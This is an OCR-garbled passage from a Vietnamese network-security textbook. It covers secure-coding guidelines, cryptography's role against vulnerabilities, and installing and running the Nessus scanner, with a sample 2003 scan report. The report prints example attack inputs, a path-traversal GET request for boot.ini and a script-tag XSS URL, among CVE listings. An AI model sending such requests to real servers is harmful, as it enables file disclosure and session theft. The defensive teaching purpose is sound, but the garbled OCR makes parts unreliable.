cong hoic tra vé ma 16i néu gap 16i. Tuy nhién chi mot vai chuong trinh thuc
hién viéc kiém cdc mi két qua tra vé nay

. Tran bo dém: Chac chan ring tat ca cdc bo dém (mang clia cdc muc chon-

arrays of items-, thudng 1a cdc ky tw) da duoc giéi han. Thuc hién kiém tra
gi6i han cua tat ca cac bién trude khi ndi dung ctia n6é dugc copy dén bo dém
cuc bo. Tranh céc thu tuc 16i dé kiém tra ranh giéi bo dém khi thao tdc véi
cac xau noi rieng: sprintf(), fscanf(), scanf(), vsprintf(), realpath(), getopt(),
getpass(), streadd(), strecpy(), strtrns(), gets(), strcpy(), and strcat()

File va thu muc: luén ludn st dung tén duong dan day da cho bat ky doi so
file nao. Diit khoat thay doi cdc thu muc thanh céc thu muc thich hop tai vi tri
chuong trinh bat dau. Néu tao mot file mdi, sit dung cd O_EXCL va
O_CREAT dé bdao dam rang cac file chua ton tai. Khong tao cac file trong
nhitng thu muc bat ctt ai ciing ¢6 thé ghi. St dung Istat() dé chac chin rang
khong phai 1a file lién két néu thich hgp. Thiét 1ap cac gia tri gigi han khong
cho phép tao ra céc file trung tam néu chuong trinh bi 16i. Néu st dung cac
file tam, coi nhu stt dung cac 151 goi hé théng tmpfile() hoic mktemp() dé tao

ra ching.

. Viéc dang nhap (Logging Events): Chi dang nhap véi nhiing thong tin ¢ lién

quan bao gom ngay thang, thoi gian, uid va uid c6 hiéu luc, gid va gid ¢6 hiéu
luc, thong tin vé cac thiét bi dau cudi, pid, cdc tham s6 dong 1énh, cac 16i va
mdy chu goc. Chic chan rang ban than cac file log van giit nguyén gidi han
vé kich ¢a.

6. Lam cho cdc phan t6i han cta chuong trinh cang ngan va don gian cang tot

7. Nhan biét cdc diéu kién: cac diéu kién b€ tic, cdc diéu kién vé su tao thanh

8.
9.

chuoi.
Khong quy dinh cac thong tin xac thuc dudi dang van ban ro

Str dung céc phién ma hod dé che dau thong tin x4c thuc

10. Ding bao gio st dung céc 16i goi hé thong system() va popen()

11. Ngan chan viéc tao ra cic shell scripts setuid va setgid
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12. Khong thira nhan cac két ndi tir cic cong c6 so hiéu thap 1a hop phap va ding
tin cady. Khong thira nhan cdc dia chi IP ngudén khong hop phap. Pit céac
timeout va cdc gidi han mic load tai cac yéu cau doc dinh huéng mang vao
(incomming network-oriented read requests ). Pat cac timeout tai cdc yéu ciu
ghi dinh huéng mang ra (outgoing network-oriented write requests)

13. Céc thu vién va céc trinh bién dich phai manh. Cé cidc ma kiém tra tinh viing
chic bén trong. St dung thong thao céc trinh bién dich, v6i gcc dung cdc co
Wall-ansi-pedantic. Str dung cdc thu vién an toan

14. C4c ma da dugc nhitng ngudi khac xem xét lai. Vi du cdc san phdm thuong
mai nhu Core Builder va SuperStack II hubs ctia 3Com bi kham pha ra 1a c6
cac mat khau ctra sau bi mat (“secret” backdoor passwords)

15.Thir nghiém mot cach chu ddo. Thir nghiém cic phdn mém bang phuong phép
giong vGi cach ma cracker thuc hién. Thir tran moi bo dém dudi dang goi.
Thir lam dung cic tuy chon dong lénh. Thir tao ra moi loai diéu kién c6 thé
xay ra. Bén canh dé con c6 cac nha thiét k€ va cac nha tng dung cling thir
nghiém cac ma chuong trinh. Nhan biét cac tin tic thit nghiém duoc dua ra;
gcc-pg-a lam cho chuong trinh tao mot file bb.out, file nay rat cé loi trong
viéc xac dinh cac thir nghiém cta ban c¢6 hiéu qiia nhu thé nao d6éi véi toan
bo cac phan ciia ma chuong trinh.

16. St dung cdc dic ta hinh thic. O muc t6i thiéu phat trién cic diéu kién pre va
cac diéu kién post (pre-and post- condition) mot cdch can than bang tiéng
Anh

4. Mat ma va cac 16 héng bao mat

Phén 16n cdc 16 hong bao mat xuét hién 12 do ma ngudn cta hé diéu hanh
hoic céc ting dung c6 chita cdc 161 gitp ké tan cong 1oi dung dé tham nhap vao
hé thong va 1am cho hé thong bi ton thuong. Mot phan khac 12 do ngudi st dung
c6 cac sai s6t trong khai thac va van hanh hé théng, thong qua d6 céc 16 hong
duoc boc 10 r6 hon va ké tdn cong dé dang khai thac hon.

Van dé dat ra 1a mat ma cé vai tro gi trong viéc phat hién, 14p va va han
ché& 16 hong.

N6i chung, mat ma khong thé c6 vai trd gi trong viéc phat hién 16 hong ma
mat ma chi cé thé 1a cong cu gép phan khiacphuc mot s6 16 héng da xuat hién
hoic han ch€ su xuat hién cta cdc 16 hong.

Mat ma c6 thé duoc st dung d€ ma hoa mat khau, xdc thuc ngudi st dung
truyén trén kénh nhim ngan ngira ké tdn cong 14y dugc mat khau va ¢6 dugc
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dang nhap hop phap vao hé thong, khi d6 ké tdn cong dé dang tin cong hé thong
hon. Chiing ta c6 thé sir dung céc thuat todn mat ma phic tap dé ma hoa mat
khau va x4dc thuc ngudi ding nhu IDEA, RSA,...

Chang han FPT deamon ctia Unix duoc dung dé phan phéi cic file dén
nguoi dung niac danh hoiac dugc xic thuc (qua username va password). Tuy
nhién v6i FTP dugc xdc thuc yéu cau username va password nhung né lai truyén
di qua mang dudi dang r6 nén cho phép ngudi thit ba nghe trom céc trao doi uy
quyén. Do d6 c6 thé trong trudong hop root lai 14y mot file tir cic mdy khdc
nhung lai yéu cau xac thuc ma password ctia root lai khong dugc ma hoa trén
dudng truyén, rit cé thé ké tan cong bing mot ciach nao d6 1ay duoc password
cuia root, nhu vay chiing c6 thé dang nhap hop phdp vao hé thong véi diac quyén
root, khi d6 khé ma ludng truéc duoc nhitng t6n that xay ra doi véi hé thong.
Trong trudng hop ndy, mat ma cé thé 12 mot giai phdp dé khic phuc bang cich
ma hod password trén dudng truyén.

C6 thé thdy rang mat ma véi chitc nang chli yéu 1a ma hod va xéc thuc nén
ciing chi c6 vai tro khéc phuc céc 16 héng xuét hién lién quan dén van dé ma ho4
mat khiu va xdc thuc ngudi ding ma thoi. Nhung nhu thé ciing 1a déng gép 16n
bdi rat nhiéu tan cong da xuat hién do ké tan cong c6 truy nhap hop phap vao hé

thong thong qua viéc ddnh cdp mat khau ctia ngudi sir dung.
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PHU LUC
MOT SO PHAM MEM GIAM SAT AN NINH MANG

1. Nessus

Nessus 1a mot trong nhitng cong cu quét cic diém yéu trong mang khd pho
bién. Thong tin nhan duoc tir nessus 1a cac dich vu dang dugc chay trong mang,
dong thoi nessus khong chi cho biét cic diém yéu trong mang ma né con dua ra
nhitng nhitng 16i khuyén cho ngudi diing vé cdc bién phap khiac phuc hoidc ngin
chin cracker lgi dung cdc 16 héng bao mat dugc tim thidy dé tan cong mang.
Nessus ciing dua ra cac canh bdo d6i véi cac ung dung dé bi tdn cong dang duoc
chay trong mang va phan loai cidc miic rti ro d6i véi céc 16 héng bao mat dugc
tim thdy. V6i mo hinh client-server, tuy thudc vao cau hinh manh hay yéu cta
mdy tram chay server ma ta c6 thé quét dong thoi hai hay mudi hodc bén muoi
host.
1.1 Cau tric chuong trinh

Nessus gom hai phan: nessus client va nessus server (nesssusd). Phan
server bat budc phai cai dat va thuc thi trén mot hé thong Linux, con phan client
c6 thé chay trén mot mdy Linux hoic Windows.
1.2 Cai dat chuong trinh

Dé cai dat Nessus trén mot hé thong may tua Unix chiing ta can ¢ bon file

sau:

- nessus-libraries-x.x.tar.gz
- libnasl-x.x.tar.gz
- nessus-core.Xx.Xx.tar.gz

- nessus-plugins.x.x.tar.gz
Trudc hét can giai nén céc file trén dé duoc cdc thu muc twong ng, sau dé
tién hanh cai dat theo thit tu sau:
*Cai dat nessus-li braries
- Chuyén vao thu muc nessus- i brari es
cd nessus-libraries
- Chay configure
./configure
- Thuc thi make va nmake install

make
make install

* Cai datl i bnasl : Twong tu nhu cai dat nessus-1ibraries
- cd libnasl
- .lconfigure
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- make
- make install

* Sau do6 cai dat nessus- cor e nessus- pl ugi ns theo trinh tu nhu trén

ad

Chu y:
- Né&u cai dat trén hé thong Linux thi trong file / et ¢/ | d. so. conf céan
c6thém /usr/ 1 ocal /1ib, sau d6 tai dong 1énh go | dconfi g.
- Néu ting dung client khong muoén stt dung & ché€ do GTK, ta c6 thé sir
dung & ché€ do dong 1énh bang cich thém tuy chon --di sabl e- gt k
khi xay dung nessus- cor e nhu sau:

cd nessus-core ; ./configure --disable-gtk ; make &&
make i nstall

1.3 Cau hinh va chay thur
Sau khi da tién hinh cai dat nhu trén, ching ta ti€n hanh cau hinh nessusd
va nessus client nhu sau:
* Cdu hinh nessus server (nessusd):
- Tao tai khoan nessusd: Tién ich nessus- adduser cho phép tao mot tai
khoan mdi.
# nessus-adduser

Addi tion of a new nessusd user

Login : renaud
Aut henti cation (pass/cert) [pass] : pass
Password : secret

nessusd has a rules system which allows you to restrict
the hosts that renaud2 has the right to test. For instance,
you may want himto be able to scan his own host only.

Pl ease see the nessus-adduser(8) man page for the rules
synt ax

Enter the rules for this user, and hit ctrl-D once you
are done :
(the user can have an enpty rul es set)

deny 10.163.156.1

al l ow 10. 163. 156. 0/ 24
defaul t deny
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Logi n . renaud
Passwor d . secret
DN )

Rul es :

deny 10.163.156.1

al l ow 10. 163. 156. 0/ 24
defaul t deny

Is that ok (y/n) ? [y] vy
user added.

- C4u hinh nessus daemon: Trong file /usr/local/etc/nessus/nessusd.conf ta cé
thé thi€t 1ap mot s tuy chon cho nessusd . Thong thudng & d6 chiing ta chi rd
cac tai nguyén ma ta muon nessusd str dung.

Sau khi da cau hinh nessusd, ta c6 thé khoi dong nessusd bing quyén root

nhu sau:
nessusd -D
* CAau hinh client

Phan trén ching ta da ciu hinh nessusd, bay gid ta c6 thé thuc hién két
noi dén né nhu mot ngudi dung binh thuong
- GO lénh nessus tir ddu nhac dong 1énh
T — gy

Messusd host | Flugins I Frefs. | Scan options ITarget selection I Userl KB I Credits

Mew zesszion setup

1=} Messusd Host ||DCEI.|hDSt
Port : [ 1241
|j Login : |renaud
Password :|’““‘|

Log in

Start the scan Load report Ciuit




Mbi lan két noi xong, nit Login s& chuyén thanh Logout va nhin
Connected xuat hién bén trai.

- CAu hinh kiém tra an toan

B Hessussetup 1

Messusd host Plugins | Prefs. | acan options | Target selection | Llserl kB | Credits

Flugin selection

CGl abuses [l &
FTP r
Gain a shell remotely r
Denial of Service -
Backdoors -
Windows : User management -
Femote file access -
SMMP r
Default Unix Accounts -
RFC il Vi

Enable all| Enahble all but dangerous plugins| Disahle aII| Upload plugin...|

_I| Enahble dependencies at runtime Filter... |

Unchecked Buffer in ¥P Redirector (G810577)

DCE Services Enumeration

Unchecked Buffer in PPTF Implementation Could Enable DOS Aftacks
The messenger service is running

Microsoft's QL TCPRAP listener is running

SMEB Reqistry : is the remote host a PDC/BDC

ShB Registry : value of SFCDisable

Unchecked Buffer in Decompression Functions(35323048)
WhA_TIMER Message Handler Privilege Elevation (2328310)

Telnet Client NTLR Authentication Vulnerability

Lt

Cipening Groun Policy Files (23180589 £
| —
Start the scan Load report Cluit
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- Thiét 1ap cdc quyén uu tién plugins

Flugins preferences

MMTP account : |

MMTP password (sent in clear) |

FTP account : |an|:|n5-'m|:|us

HEMNXEXNENKHNNRER

FTP passward (sent in clear) :

FTP writeable directory |fin|:|:|ming

POPZ account : |

POPZ password (sent in clear) |

POP3 account : |

POP3 password (sent in clear) |

IMAP account : |

IMAP password (zent in clear) : |

ShAB account : |P-.dministratnr

EEE TS

ShB password (sent in clear)

SME domain (optional) - |

SMMP community (sent in clear) |

Messusd host | Pluging  Prefs. | scan options |Target selection |Llser | kB | Credits

[~

2l

Start the scan | Load report |

it

C6 thé dua ra cdc thong tin khdc cho mot s6 kiém tra an toan béng céach bién

tap truc tiép tr bang nay.

- Cac tuy chon scan:

Phin nay s& chon céng dé quét, va s6 may quét dong thdi va s6 luong
thanh phan quét dong thoi trén moi may. Néu mudn quét mot firewalled web

server ta ki€ém tra tuy chon " consi der unscanned ports as closed" va

chi 16 cong so 80, diéu nay s& duoc thuc hién ngay 1ap titc

59




M riessus Setup

Messusd hustl Flugins | Frefs. | Target selection | Llserl KB | Credits

~Scan options

Part range : [1-1500

_l Consider unscanned ports a5 closed

Mumber of hosts to test at the same time ; |1 0

Mumber of checks to perform at the same time : (10
Fath to the CGls : fogi-hindscripts

_1 Do a reverse [ookup on the IP before testing it
_| Qptimize the test

_| 3afe checks

_l Designate hosts by their MAC address

_| Detached scan

Send results to this email address : |

L Continuaws scan

Delay betveen two scans |

Fart scanner :

tcp connect( scan [l
Mmap _I
scan for LaBrea tarpitted hosts I |
Lo N 1 e e 1 |'Ilr

Start the scan | Load report it

- Chi dinh dia chi cdc mdy can quét
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M riessus SETUp

Messusd hustl Pluginsg | Prefs. | scan options Target selection | Llserl KE | Credits

~Target selection

Target(s):  [192.168.1.1-192.168.130 |  Readfle.. |

_| Perfaorm a DS zone transfer
_| Save this session

_l Save empty sessions

Previous sessions :

Session | Targets

Restore session Delete session I
Start the scan Load report it I
- Thiét 1ap luat quét

Gia str trong khoang dai dia chi may & trén ta loai bo mdy c6 dia chi
192.168.1.17 ta lam nhu sau:
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B hiessys Setup
Meszusd hnstl Flugins | Frefs. | scan options | Target selection 1 kB | Credits
rUser
Rules : Sdd rule
reject 192.168.1.17
(de=fanlt
Star the scan ‘ Load report ‘ it ‘

Sau khi da thiét 1ap xong cac tuy chon trén chiing ta ti€én hanh quét

* Két qua thuc hién quét trén may 192.168.1.12 dugc cho trong bang sau:

Nessus Scan Report
This report gives details on hosts that were tested and issues that were found. Please
follow the recommended steps and procedures to eradicate these threats.
Scan Details
Hosts which where alive and
responding during test

[u—
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Number of security holes found |12
Number of security Warnings3 0
found
Host List
Host(s) Possible Issue
192.168.1.12 Security hole(s) found
Analysis of Host
Address of Host Port/Service [ssue regarding Port
Security warning(s)
192.168.1.12 smtp (25/tcp) cound
telnet . :
192.168.1.12 (23/tcD) Security warning(s) found
192.168.1.12 ssh (22/tcp) |Security hole found
192.168.1.12 ftp (21/tcp) [Security hole found
192.168.1.12 http (80/tcp) |[Security hole found
sunrpc :
192.168.1.12 (111/tcp) Security notes found
pop3 .
192.168.1.12 (110/tcp) Security notes found
pop2 .
192.168.1.12 (109/tcp) Security notes found
imap :
192.168.1.12 (143/tcp) Security hole found
smux .
192.168.1.12 (199/tcp) Security notes found
submission :
192.168.1.12 (587/tcp) Security notes found
kdm .
192.168.1.12 (1024/tcp) Security notes found
imaps :
192.168.1.12 (993/tcp) Security hole found
msg : ~
192.168.1.12 (1241 /tcp) Security warning(s) found
x11 - :
192.168.1.12 (6000/tcD) Security warning(s) found
sunrpc :
192.168.1.12 (111/udp) Security notes found
unknown :
192.168.1.12 (1024/udp) Security hole found
listen . :
192.168.1.12 (1025/tcp) Security warning(s) found
192.168.1.12 general/tcp  [Security notes found
Security Issues and Fixes: 192.168.1.12
Type Port Issue and Fix
Warning smtp The remote SMTP server answers to the EXPN and/or
(25/tcp) VRFY commands)
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The EXPN command can be used to find the delivery
address of mail aliases, or even the full name of the
recipients, and the VRFY command may be used to
check the validity of an account.

Y our mailer should not allow remote users to use any of
these commands, because it gives them too much
information.

Solution : if you are using Sendmail, add the option
O PrivacyOptions=goaway
in /etc/sendmail.cf.

Risk factor : Low
CVE : CAN-1999-0531
Nessus ID : 10249

Informational

smtp
(25/tcp)

An SMTP server is running on this port

Here is its banner :

220 mlinux.vn ESMTP Sendmail 8.12.9/8.12.9; Mon, 2
Jun 2003 02:26:01 +0700

Nessus ID : 10330

Informational

smtp
(25/tcp)

mlinux.vn ESMTP Sendmail 8.12.9/8.12.9; Mon, 2 Jun
2003 02:26:17 +0700

This is probably: Remote SMTP server banner :
220 Sendmail version 8.12.9

Nessus ID : 10263

Informational

smtp
(25/tcp)

smtpscan was not able to reliably identify this server. It
might be:

Sendmail 8.11.7/8.11.4/VUT Brno

Sendmail 8.12.3

The fingerprint differs from these known signatures on 3
point(s)

If you known precisely what it is, please send this
fingerprint

to the Nessus team :
:451:501:501:250:553:451:503:214:250:250:502:502:502
:250:250

Nessus ID : 11421

Informational

smtp
(25/tcp)

For some reason, we could not send the EICAR test string
to this MTA
Nessus ID : 11034

Informational

smtp

This port was detected as being open by a port scanner
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(25/tcp)

but is now closed.
This service might have been crashed by a port scanner or
by some information gathering plugin

Nessus ID : 10919

Warning telnet The Telnet service is running.This service is dangerous in
(23/tcp) the sense that
it is not ciphered - that is, everyone can sniff the data that
passes between the telnet client and the telnet server. This
includes logins and passwords.
You should disable this service and use OpenSSH instead.
(www.openssh.com)
Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
CVE : CAN-1999-0619
Nessus ID : 10280
Informationalitelnet A telnet server seems to be running on this port
(23/tcp) Nessus ID : 10330
Informationalitelnet Remote telnet banner :
(23/tcp) Red Hat Linux release 7.2 (Enigma)
Kernel 2.4.7-10 on an 1686
login:
Nessus ID : 10281
Vulnerability [ssh (22/tcp)

You are running a version of OpenSSH which is older
than 3.0.2.

Versions prior than 3.0.2 are vulnerable to an
environment variables export that can allow a local user
to execute command with root privileges.

This problem affect only versions prior than 3.0.2, and
when the UseLogin feature is enabled (usually disabled
by default)

Solution : Upgrade to OpenSSH 3.0.2 or apply the patch
for prior

versions. (Available at:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH)

Risk factor : High (If UseLogin is enabled, and locally)
CVE : CVE-2001-0872

BID : 3614

Nessus ID : 10823
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Vulnerability

ssh (22/tcp)

You are running a version of OpenSSH which is older
than 3.1.

Versions prior than 3.1 are vulnerable to an off by one
error that allows local users to gain root access, and it
may be possible for remote users to similarly compromise
the daemon for remote access.

In addition, a vulnerable SSH client may be compromised
by connecting to a malicious SSH daemon that exploits
this vulnerability in the client code, thus compromising
the client system.

Solution : Upgrade to OpenSSH 3.1 or apply the patch for
prior versions. (See: http://www.openssh.org)

Risk factor : High
CVE : CVE-2002-0083
BID : 4241

Nessus ID : 10883

Vulnerability

ssh (22/tcp)

You are running a version of OpenSSH which is older
than 3.4

There is a flaw in this version that can be exploited
remotely to give an attacker a shell on this host.

Note that several distribution patched this hole without
changing

the version number of OpenSSH. Since Nessus solely
relied on the

banner of the remote SSH server to perform this check,
this might

be a false positive.

If you are running a RedHat host, make sure that the
command :
rpm -q openssh-server

Returns :
openssh-server-3.1p1-6

Solution : Upgrade to OpenSSH 3.4 or contact your
vendor for a patch
Risk factor : High

CVE : CAN-2002-0639, CAN-2002-0640
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BID : 5093
Nessus ID : 11031

Vulnerability

ssh (22/tcp)

You are running a version of OpenSSH older than
OpenSSH 3.2.1

A buffer overflow exists in the daemon if AFS is enabled
on your system, or if the options KerberosTgtPassing or
AFSTokenPassing are enabled. Even in this scenario, the
vulnerability may be avoided by enabling
UsePrivilegeSeparation.

Versions prior to 2.9.9 are vulnerable to a remote root
exploit. Versions prior to 3.2.1 are vulnerable to a local
root exploit.

Solution :
Upgrade to the latest version of OpenSSH

Risk factor : High
CVE : CAN-2002-0575
BID : 4560

Nessus ID : 10954

Vulnerability

ssh (22/tcp)

You are running a version of OpenSSH which is older
than 3.0.1.

Versions older than 3.0.1 are vulnerable to a flaw in
which an attacker may authenticate, provided that
Kerberos V support has been enabled (which is not the
case by default).

It is also vulnerable as an excessive memory clearing bug,
believed to be unexploitable.

*** You may ignore this warning if this host is not using
% Kerberos V

Solution : Upgrade to OpenSSH 3.0.1

Risk factor : Low (if you are not using Kerberos) or High
(if kerberos is enabled)

CVE : CVE-2002-0083

BID : 3560, 4560, 4241

Nessus ID : 10802

Warning

ssh (22/tcp)

The remote SSH daemon supports connections made
using the version 1.33 and/or 1.5 of the SSH protocol.

These protocols are not completely cryptographically safe
so they should not be used.

67




Solution :

If you use OpenSSH, set the option "Protocol' to 2

If you use SSH.com's set the option 'Ssh1Compatibility' to
|n07

Risk factor : Low
Nessus ID : 10882

Warning

ssh (22/tcp)

You are running OpenSSH-portable 3.6.1p1 or older.

[f PAM support is enabled, an attacker may use a flaw in
this version

to determine the existence or a given login name by
comparing the times

the remote sshd daemon takes to refuse a bad password
for a non-existant

login compared to the time it takes to refuse a bad
password for an existant login.

An attacker may use this flaw to set up a brute force
attack against the remote host.

%% Nessus did not check whether the remote SSH
daemon is actually
*** using PAM or not, so this might be a false positive

Solution : Upgrade to OpenSSH-portable 3.6.1p2 or newer
Risk Factor : Low

CVE : CAN-2003-0190

Nessus ID : 11574

Informational

ssh (22/tcp)

An ssh server is running on this port
Nessus ID : 10330

Informational

ssh (22/tcp)

Remote SSH version : SSH-1.99-OpenSSH_2.9p2
Nessus ID : 10267

Informational

ssh (22/tcp)

The remote SSH daemon supports the following versions
of the
SSH protocol 1.33,1.5,1.99, 2.0

Nessus ID : 10881

Vulnerability

ftp (21/tcp)

You seem to be running an FTP server which is
vulnerable to the

'glob heap corruption' flaw. An attacker may use this
problem to execute arbitrary commands on this host.

%% Nessus relied solely on the banner of the server to
issue this warning,
**%* g0 this alert might be a false positive
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Solution : Upgrade your ftp server software to the latest
version.
Risk factor : High

CVE : CAN-2001-0249, CVE-2001-0550
BID : 2550, 3581
Nessus ID : 10821

Warning

ftp (21/tcp)

This FTP service allows anonymous logins. If you do not
want to share data with anyone you do not know, then
you should deactivate the anonymous account, since it
can only cause troubles.Under most Unix system, doing :
echo ftp >> /etc/ftpusers

will correct this.

Risk factor : Low
CVE : CAN-1999-0497
Nessus ID : 10079

Informational

ftp (21/tcp)

An FTP server is running on this port.

Here is its banner :

220 mlinux.vn FTP server (Version wu-2.6.1-18) ready.
Nessus ID : 10330

Informational

ftp (21/tcp)

Remote FTP server banner :
220 mlinux.vn FTP server (Version wu-2.6.1-18) ready.
Nessus ID : 10092

Vulnerability

http (80/tcp)

The remote HTTP server allows an attacker to read
arbitrary files

on the remote web server, simply by adding dots in front
of its name.

Example:
GET /../../winnt/boot.ini

will return your C:\winnt\boot.ini file.

Solution : Upgrade your web server to a version that
solves this vulnerability, or consider changing to another
web server, such

as Apache (http://www.apache.org).

Risk factor : Serious
CVE : CAN-1999-0776
BID : 270

Nessus ID : 10010

Vulnerability

http (80/tcp)

It was possible to read the content of /EXT.INI
(BadBlue configuration file) by sending an invalid GET
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request.

A cracker may exploit this vulnerability to steal the
passwords.

Solution : upgrade your software or protect it with a
filtering reverse proxy

Risk factor : Medium

CVE : CAN-2002-1021

BID : 5226

Nessus ID : 11064

Warning

http (80/tcp)

The remote web server seems to be vulnerable to the
Cross Site Scripting vulnerability (XSS). The vulnerability
is caused by the result returned to the user when a non-
existing file is requested (e.g. the result contains the
JavaScript provided in the request).

The vulnerability would allow an attacker to make the
server present the user with the attacker's
JavaScript/HTML code.

Since the content is presented by the server, the user will
give it the trust

level of the server (for example, the trust level of banks,
shopping centers, etc. would usually be high).

Risk factor : Medium
Solutions:

Allaire/Macromedia Jrun:
http://www.macromedia.com/software/jrun/download/upd
ate/

http://www.securiteam.com/windowsntfocus/Allaire fixe
s _Cross-Site_Scripting_security _vulnerability.html
Microsoft IIS:
http://www.securiteam.com/windowsntfocus/IIS _Cross-
Site _scripting_vulnerability _Patch_available .html
Apache:

http://httpd.apache.org/info/css-security/

ColdFusion:
http://www.macromedia.com/v1/handlers/index.cfm?ID=
23047

General:

http://www.securiteam.com/exploits/Security _concerns w
hen developing a dynamically generated web site.html

http://www.cert.org/advisories/CA-2000-02.html
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BID : 5305, 7353, 7344
Nessus ID : 10815

Warning http (80/tcp)[The remote server is running Webmin.
Webmin is a web-based interface for system
administration for Unix.
Solution: Stop Webmin service if not needed or configure
the access
See menu [Webmin Configuration][IP Access Control]
and/or [Webmin Configuration][Port and Address]
For more info see http://www.webmin.net/
Risk factor : Medium
Nessus ID : 10757

Warning http (80/tcp)[The remote host has a CGI called 'testcgi.exe' installed
under /cgi-bin which is vulnerable to a cross site scripting
issue.
Solution: Upgrade to a newer version.
Risk factor : Low
BID : 7214
Nessus ID : 11610

Warning http (80/tcp)[The remote ClearTrust server is vulnerable to cross-site
scripting, when requesting the script ct_login.asp with
improper arguments,as in :
GET
cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(|
1)</script>
Solution : None at this time
Risk factor : Medium
BID : 7108
Nessus ID : 11399

Warning http (80/tcp)[The remote host seems to be vulnerable to a security
problem in CGIEmail (cgicso).
The vulnerability is caused by inadequate processing of
queries
by CGIEmail's cgicso that results in cross site scripting.
Solution:
Modify cgilib.c to contain a stripper function that will
remove any HTML or JavaScript tags.
Risk factor : Low
Nessus ID : 10780

Warning http (80/tcp)Siteframe 2.2.4 has a cross site scripting bug. An attacker
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may use it to
perform a cross site scripting attack on this host.

In addition to this, another flaw in this package may allow
an attacker to
obtain the physical path to the remote web root.

Solution : Upgrade to a newer version.
Risk factor : Medium

BID : 7140, 7143

Nessus ID : 11448

Warning http (80/tcp)losCommerce is a widely installed open source shopping
e-commerce solution.
An attacker may use it to perform a cross site scripting
attack on this host.
Solution : Upgrade to a newer version.
Risk factor : Medium
BID : 7156, 7151, 7153, 7158, 7155
Nessus ID : 11437

Warning http (80/tcp)[The remote Auction Deluxe server is vulnerable to a cross
site scripting attack.As a result, a user could easily steal
the cookies of your legitimate users and impersonate
them.
Solution : Upgrade to Auction Deluxe 3.30 or newer
Risk factor : Medium
CVE : CAN-2002-0257
BID : 4069
Nessus ID : 11365

Warning http (80/tcp)[The remote host is using XMB Forum.
This set of CGI is vulnerable to a cross-site-scripting
issue
that may allow attackers to steal the cookies of your
users.
Solution: Upgrade to a newer version.
Risk factor : Medium
BID : 4944
Nessus ID : 11527

Warning http (80/tcp)Basit cms 1.0 has a cross site scripting bug. An attacker

may use it to
perform a cross site scripting attack on this host.

In addition to this, it is vulnerable to a SQL insertion
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attack which may allow an attacker to get the control
of your database.

Solution : Upgrade to a newer version.
Risk factor : Medium

BID : 7139

Nessus ID : 11445

Warning http (80/tcp)[The remote host seems to be running My AbraCadaWeb.
An attacker
may use it to perform a cross site scripting attack on
this host, or to reveal the full path to its physical location.
Solution: Upgrade to a newer version.
Risk factor : Medium
BID : 7126, 7127
Nessus ID : 11417

Warning http (80/tcp)[The remote pafiledb.php is vulnerable to a cross site
scripting
attack.
An attacker may use this flaw to steal the cookies of your
users
Solution : Upgrade to paFileDB 3.0
Risk factor : Medium
BID : 6021
Nessus ID : 11479

Warning http (80/tcp)lezPublish 2.2.7 has a cross site scripting bug. An attacker
may use it to
perform a cross site scripting attack on this host.
In addition to this, another flaw may allow an attacker
store hostile
HTML code on the server side, which will be executed by
the browser of the
administrative user when he looks at the server logs.
Solution : Upgrade to a newer version.
Risk factor : Medium
BID : 7137, 7138
Nessus ID : 11449

Warning http (80/tcp)[Nuked-klan 1.3b has a cross site scripting bug. An

attacker may use it to
perform a cross site scripting attack on this host.

In addition to this, another flaw may allow an attacker to

73




obtain the physical
path of the remote CGI directory.

Solution : Upgrade to a newer version.
Risk factor : Medium

BID : 6916, 6917

Nessus ID : 11447

Warning http (80/tcp)Mambo Site Server is an open source Web Content
Management System. An attacker
may use it to perform a cross site scripting attack on this
host.
Solution: Upgrade to a newer version.
Risk factor : Medium
BID : 7135
Nessus ID : 11441

Warning http (80/tcp)[The remote host seems to be vulnerable to a security
problem in
SquirrelMail. Its read_body.php didn't filter out user input
for
'filter_dir' and 'mailbox’, making a xss attack possible.
Solution:
Upgrade to a newer version.
Risk factor : Medium
CVE : CAN-2002-1276, CAN-2002-1341
BID : 7019, 6302
Nessus ID : 11415

Warning http (80/tcp)DCP-Portal v5.3.1 has a cross site scripting bug. An
attacker may use it to perform a cross site scripting attack
on this host.
Solution : Upgrade to a newer version.
Risk factor : Medium
BID : 7144, 7141
Nessus ID : 11446

Warning http (80/tcp)[The remote host is using ezPublish, a content

management system.

There is a flaw in the remote ezPublish which lets an
attacker perform a cross site scripting attack. An attacker
may use this flaw to steal the cookies of your legitimate
users.

Solution : Upgrade to ezPublish 3
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Risk factor : Low/Medium
BID : 7616
Nessus ID : 11644

Warning

http (80/tcp)

The remote host is running the Xoops CGI suite.

There is a cross site scripting issue in this suite which
may allow an attacker to steal your users cookies.
The flaw lies in the cgi glossaire-aff.php.

You are advised to remove this CGI.

Solution : None at this time

Risk factor : Medium

BID : 7356

Nessus ID : 11508

Warning

http (80/tcp)

The remote host is running the Neoteris IVE.

There is a cross site scripting issue in this server (in the
CGI swsrv.cgi) which may allow an attacker to perform a
session hijacking.

Solution : Upgrade to version 3.1 or Neoteris IVE
Risk factor : Medium

CVE : CAN-2003-0217

Nessus ID : 11608

Informational

http (80/tcp)

A web server is running on this port
Nessus ID : 10330

Informational

http (80/tcp)

The remote web servers is [mis]configured in that it does
not return '404 Not Found' error codes when a non-
existent file is requested, perhaps returning a site map or
search page instead.

Nessus enabled some counter measures for that, however
they might be insufficient. If a great number of security
holes are produced for this port, they might not all be
accurate

Nessus ID : 10386

Informational

http (80/tcp)

The remote web server type is :
MiniServ/0.01

Solution : We recommend that you configure (if possible)
your web server to return
a bogus Server header in order to not leak information.

Nessus ID : 10107

Informational

sunrpc
(111/tcp)

The RPC portmapper is running on this port.

An attacker may use it to enumerate your list of RPC
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services. We recommend you filter traffic going to this
port.

Risk factor : Low

CVE : CAN-1999-0632, CVE-1999-0189
BID : 205

Nessus ID : 10223

Informationalisunrpc RPC program #100000 version 2 'portmapper’ (portmap
(111/tcp)  sunrpc rpcbind) is running on this port
Nessus ID : 11111
Informationalpop3 A pop3 server is running on this port
(110/tcp)  Nessus ID : 10330
Informationalpop3 The remote POP3 servers leaks information about the
(110/tcp)  software it is running, through the login banner. This may
assist an attacker in choosing an attack strategy.
Versions and types should be omitted where possible.
Solution: Change the login banner to something generic.
Risk factor : Low
Nessus ID : 10185
Informationalpop2 a pop2 server is running on this port
(109/tcp)  INessus ID : 10330
Vulnerability imap There is a buffer overflow in the remote imap server
(143/tcp)  (which allows an authenticated user to obtain a remote
shell.
By supplying an overly long tag the the BODY command,
an attacker may gain a shell on this host.
*** Nessus reports this vulnerability using only
*** information that was gathered. Use caution
